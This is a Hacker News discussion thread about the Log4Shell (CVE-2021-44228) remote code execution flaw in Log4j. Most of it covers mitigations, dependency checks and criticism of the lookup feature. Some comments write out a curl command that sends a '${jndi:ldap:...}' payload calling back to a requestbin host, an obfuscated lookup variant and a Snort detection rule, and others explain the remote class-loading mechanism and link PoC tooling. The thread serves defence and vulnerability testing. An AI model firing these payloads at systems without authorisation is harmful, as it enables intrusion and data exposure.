> The widespread flag -Dlog4j2.formatMsgNoLookups=true is NOT sufficient to mitigate the vulnerability in Logstash in all cases, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:
Logstash 7.16.1 should be out today to fix this... update even if mitigated:
> Users should upgrade to Logstash 6.8.21 or 7.16.1 once they are released (expected Monday 13th December). These releases will replace vulnerable versions of Log4j with Log4j 2.15.0.
EDIT: 7.16.1 is out in GitHub, but not yet everywhere on elastic co: https://github.com/elastic/logstash/releases/tag/v7.16.1
[1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execu...
*boned by proactive logging*this one gets all the way through and hits the backend
better hope your backend is on a separate LAN with no internet access..!
We also found that other similar exploits based on JNDI can work even if the one based on LDAP redirecting class loading to a malicious HTTP server doesn't (I won't mention it here because it makes it much easier to exploit, so disabling log4j's evaluation of jndi patterns or migrating to the patched version is absolutely necessary, still).
Is there any kind of low-level flag you can pass to Java or your environment to completely disable JNDI? I recall that there is a flag you can pass to log4j, but I can't see any reason why I would ever use JNDI anywhere in Java.
Also, do you have any additional insights on how exactly the mechanism for 2) works? From what I understand, this is a feature of Java itself?
java.naming@version
jdk.naming.dns@version
jdk.naming.ldap@version
jdk.naming.rmi@version
To list the modules your JDK has, use `java --list-modules`.If you're not using the module system, you can't completely disable JNDI, but you can tell the JVM to not load classes from a remote host by setting the system property "com.sun.jndi.ldap.object.trustURLCodebase" to "false". This has been the default in most JDKs for several years, but apparently some folks still somehow got victim to this. There are other configuration properties you can adjust listed in the javadocs for javax.naming.Context at https://docs.oracle.com/javase/8/docs/api/index.html?javax/n....
The LDAP/JNDI exploit works because when JNDI performs a lookup (and in this case, simply logging a message with `${jndi:...}` on log4j would trigger that), it might connect to a remote host that's in control of the attacker... the LDAP response from whatever LDAP server that got contacted may contain all sorts of instructions for the JVM to load classes remotely, from a HTTP server anywhere on the internet, for example. The attack I've seen used the LDAP ObjectFactory that lets the LDAP response tell where to get the bytecode of another ObjectFactory via any URL. If the JVM "com.sun.jndi.ldap.object.trustURLCodebase" property were false, this would've been blocked, but otherwise, the attacker class would be loaded and could immediately run (via a static block for example) any Java code at all on your server. Notice that this is a feature of LDAP, not a bug, but it should never have been possible for untrusted input to be used in JNDI lookup, for obvious reasons. There are other ways to "bypass" this flag by using other LDAP features that load remote code (won't list them here, but they're easy to find if you know LDAP and JNDI) or using another JNDI provider (RMI, CORBA) in case the libraries you have in the classpath include another ObjectFactory that loads remote code (e.g. many JDBC Drivers, Apache Tomcat etc.) - it's impossible to tell how many similar attacks become possible once you have JNDI opened up to untrusted input.
This attack has been known for several years... if you look hard enough you'll find whole toolkits showing how to perform these attacks dating back at least 6 years, from what I found.
Here's a detailed writeup from 2016: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-...
ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...
https://web.archive.org/web/20211204140505/https://logging.a...
https://github.com/apache/logging-log4j2/releases/tag/log4j-...
https://logging.apache.org/log4j/log4j-2.14.1/manual/configu...
(Yes, I've written in Java, and, of course, I used log4j in the project.)
Just reminds me of this: https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpris...
"Stupid" for once is the correct word. I don't want a feature where my log library downloads code from an LDAP server and runs it. I don't want a feature where interpolation is run not only on my hardcoded format string but also in the variables it references.
When software has many features, we often assume they're disabled unless we deliberately enable them and so they do little harm (other than increased code size). But this kind of on by default behavior is something else entirely.
find -E src/libraries -iregex '.*\.cs$' | grep 'src/libraries/Microsoft.Extensions.Logging' | grep -v 'tests' | xargs cat | grep -v -e '^$' | wc -lhttps://en.wikipedia.org/wiki/Feature_creep
I am your run of the mill CRUD developer but I haven't had to load remote classes ever.
Is this some framework level stuff? Was this an opt-in kinda scenario?
"Here's a feature I just thought of"
"Boom. Merged."
That kind of interaction isn't uncommon. Lots of projects in this ecosystem are abstractions built on abstractions, and value features over everything else.
Not that I can’t think of a use but it’s just on and no white list or…something?
Looks like a good use case for running under SecurityManager with a restrictive policy.
Maybe it is time to reconsider JEP 411?
I'm a big fan of Dependency Check[1].
There are hosted services that can give you security scans, but if you don't have access to that (some have a cost) or you are maintaining an open source project, Dependency Check is mostly great (there are some issues every now and then with false positives, but the maintainers are great and responsive and they deal with reports very quickly).
There are also plugins for several building tools (e.g. sbt for Scala projects).
1: https://owasp.org/www-project-dependency-check/
EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated!
good luck getting all your versions to be compatible if you do that. Oh, now your java app can only run on Ubuntu 16.04? But our customers use CentOS 7? Guess they're out of luck.
> EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated!
Just run `mvn dependency:tree` or the gradle equivalent.
It's good for preventing people adding known-insecure libraries though.
... that we know of.
So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.
> This feature gives a false sense of security: nobody has ever done the necessary, extensive, code audit to prove that unpickling untrusted pickles cannot invoke unwanted code, and in fact bugs in the Python 2.2 pickle.py module make it easy to circumvent these security measures.
> We firmly believe that, on the Internet, it is better to know that you are using an insecure protocol than to trust a protocol to be secure whose implementation hasn't been thoroughly checked.
A few years ago, I think around 2016, there was a series of RCEs in many Java apps because they used the Java equivalent of pickle with the Java equivalent of "make pickle safe", which did not work.
In the Java case, it was something like: create a listbox on the screen, which contains a map entry, whose value is a java.beans.Expression object which calls a getter on some object which has side effects that allow an RCE. Because only system code is involved in the chain, Java's stack-based security model determined that this was some internal runtime code making the call, and allowed it. It doesn't make sense to put a security check on any individual step, until the final one which determined it was running in a system context, yet the overall effect was something that should not have been allowed was allowed.
The listbox innocently called toString() and what happened was RCE.
I bet in Python you could use the same concept and construct an object graph where some innocent method call ends up being an RCE. Find an object whose str() calls self.foo.toString(), find an object whose toString() calls self.bar.blah(), find an object whose blah() calls self.asdf.meh(), find an object whose meh() calls os.system(self.cmd). Now you deserialize this graph and RCE is triggered by somebody trying to log the graph.
For instance, when starting with systemd, add `Environment=JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true` to your service file.
You should find `Command line argument: -Dlog4j2.formatMsgNoLookups=true` in catalina.out
${j${lower:n}${lower:d}i...}
?
This is a non-intrusive patch that allows you to block this vulnerability without modifying the program code/updating the dependent. So you can use it to patch third-party programs, such as Minecraft.
The principle of the library is simple: It provides an empty JndiLookup to override the implementation in log4j. Log4j2 can handle this situation and safely disable JNDI lookup.
It is compatible with all versions of log4j2 (2.0~2.15).
I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server
Server: 212.158.248.6
Address: 212.158.248.6#53
** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:
dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.netMy ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
Just in time to ruin all of the reports project managers present to executives
see https://github.com/apache/logging-log4j2/pull/608#issuecomme...
and you can just delete the affected class
The comment you cited is referring to the option to disable the vulnerable feature, not the vulnerable feature itself.
Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.
There is plenty of stuff out there that still uses Log4j 1.7, 1.8, etc. I assume this is all about Log4j2? And not about the original Log4j? Or is the original Log4j also affected?
Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027
Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!
Probably there isn't a broad agreement on ethical standards related to vulnerability disclosure but is it really still a net benefit when people disclose vulnerabilities without even them knowing the implications, that are clearly not patched, let alone giving users of the software time to do anything about it.
I feel we have gotten pretty far away from Tavis Ormandy working with Cloudflare to clean up the issue before anything is published.
Do I misunderstand something or this is clearly the type of issue that will be misused widely?
Even if that was true, knowing that a number of large projects are using this lib I'm not sure if it is unreasonable to ask to at least make an attempt to reach out so they can asses their exposure.
I would not blame the people who wrote easier to understand blog posts which are going to need circulation to half of the enterprise IT code mills in the world, and note that dang changed this post’s URL from the GitHub issue which is harder to understand.
From https://web.archive.org/web/20040908114732/http://www.sun.co...
I guess the marketing claims were true. I am completely mystified why this feature exists.
i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.
I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it.
DON'T EVER TRUST USER PROVIDED INPUT!!! AHHHHH!
In the database case it's no different to adding any other record supplied by the user. In the case of a file, consideration has to be given about what assumptions other tools that process that file may make - e.g. if they assume one record per line, then the data should be escaped appropriately (simple approach is to use JSON string escaping, or just make the whole log entry a JSON object).
If the logging system is built by someone who thought it was a good idea to parse the string, use the result to make network requests, and then executing arbitrary code based on the data received over the network, then all bets are off.
AND escaping any control/unicode* characters. encodeURIComponent() if that's the best you have, but log files need to be safe against unsuspecting sysadmins viewing/grepping/catting these. and even NT4 had a blue screen bug you could trigger by TYPE-ing the wrong file in a console..
(*) well if you need to, whitelist some safe ranges, but there's scary stuff in unicode eg with the bi-directional escapes or zero width spaces to make viewing/grepping hard.
Most people don't take "log injection" that seriously as a bug class in Java. There are usually no consequences for ignoring it, so it's common. The RCE adds a lot of flavour to an otherwise bland bug.
I love the irony here though - given how people using Java tend to think its unexploitable compared to C/C++ code. This is arguably way worse than a format string exploit. Even user sanitized data gives you full RCE. And via url headers/strings. This feels like a 1990s web era exploit, it's pretty insane.
But without dependency on - org.apache.logging.log4j:log4j-core
in this situation, is this safe from this RCE? Thanks.
Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)
That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says
``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
```
I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.
See also:
- https://github.com/tangxiaofeng7/apache-log4j-poc
- https://github.com/mbechler/marshalsec
- https://github.com/veracode-research/rogue-jndi
Minecraft servers were being actively exploited according to various tweets.
While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.
While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.
https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...
This change is included in tag jdk8-b01, which was the first release build of Java 8.
I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?
Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.
> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
See https://www.veracode.com/blog/research/exploiting-jndi-injec...
> Was it spotted being abused.
No, not at 2021-12-10 AFAIK, just spotted being spread.
[0] https://reddit.com/r/netsec/comments/rcwws9/rce_0day_exploit...
says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).
DNS could be gnarly if serialized objects can be stored in txt records.
For full details of how this works, use a vulnerable log4j version, log a simple (bad) lookup, and step through with a debugger for a while.
Sources:
- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/com/sun/naming/internal/ResourceManager.java#L422
- https://github.com/JetBrains/jdk8u_jdk/blob/master/src/share/classes/javax/naming/spi/NamingManager.java#L558
- https://github.com/JetBrains/jdk8u_jdk/tree/master/src/share/classes/com/sun/jndi/url
By default the class will be named "com.sun.jndi.url.<scheme>.<scheme>URLContextFactory"So for example, if your schema, the class will be "com.sun.jndi.url.ldap.ldapURLContextFactory".
But also note that many of these schemes can return referrals/redirects to other protocols.
You can also read the full CVE description here: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
1) how do I check what version of log4j I am using?
2) how do I upgrade my log4j version 2 to the latest? I download the new zip, then what?
Does anyone know if removing the `JndiLookup` class is enough?
On the Apache Log4j2 page (https://logging.apache.org/log4j/2.x/) it's stated to:
> Remove the JndiLookup *and JndiManager* classes from the log4j-core jar.
(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the `JndiManager` class as well?
Edit: Found the answer to my own Q. "Do not use String concatenation. Use parameterized message..."
Also linked from https://logging.apache.org/log4j/2.x/security.html
While the original Log4j had huge uptake a decade ago, its successor is nowhere near as ubiquitous.
A nefarious attacker could inject such a JNDI reference in a field (like username or whatever) and if you wrote your log statements in a manner that didn’t expect such injection to happen, it could become part of the log format instead of a log field value, and this would be executed.
Think of it like SQL injection but with log statements and way worse because it calls a class that can be hosted on a server of choice. And the code that can execute is arbitrary and not limited to the database.
alert tcp -> ( msg:"log4j rce detection"; content:"|24 7b|jndi|3a|"; nocase; )
This is insanity.
(I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)
Even if approval is required, anyone with admin access can override the lack of approval. (For that user, the merge button is a different color/state: it very clearly warns you when you exercise that right.) I don't think it's clear which is the case here.
(But also note that there is an approval, in addition to the "changes requested". So, even in the scenario that approval is required, the PR could be merged, technically, but it would require dismissing the requested changes in that case, which was not done here.)
I wonder of any bug bounties would give you a chain bonus for this one lol
The fact that the specific interpolation causes a server-side request is what makes it a server-side request forgery. This isn’ta url input that’s getting an unexpected scheme, the interpolation is required.
Lastly the fact that the server-side request forgery causes unexpected code to be downloaded and executed creates the RCE.
This may seem like needless pedantry, but the reason it’s important is that there are likely other bugs hidden in here, and the RCE is just getting all the attention. For example, our network diallows egress except through a proxy. The initial JNDI request over LDAP isn’t getting anywhere. So we aren’t exposed per the POCs I’ve seen. BUT if JNDI supported HTTPS or data url schemes we would. Also if the interpolation allows any other deserialization attacks through inline payloads we would.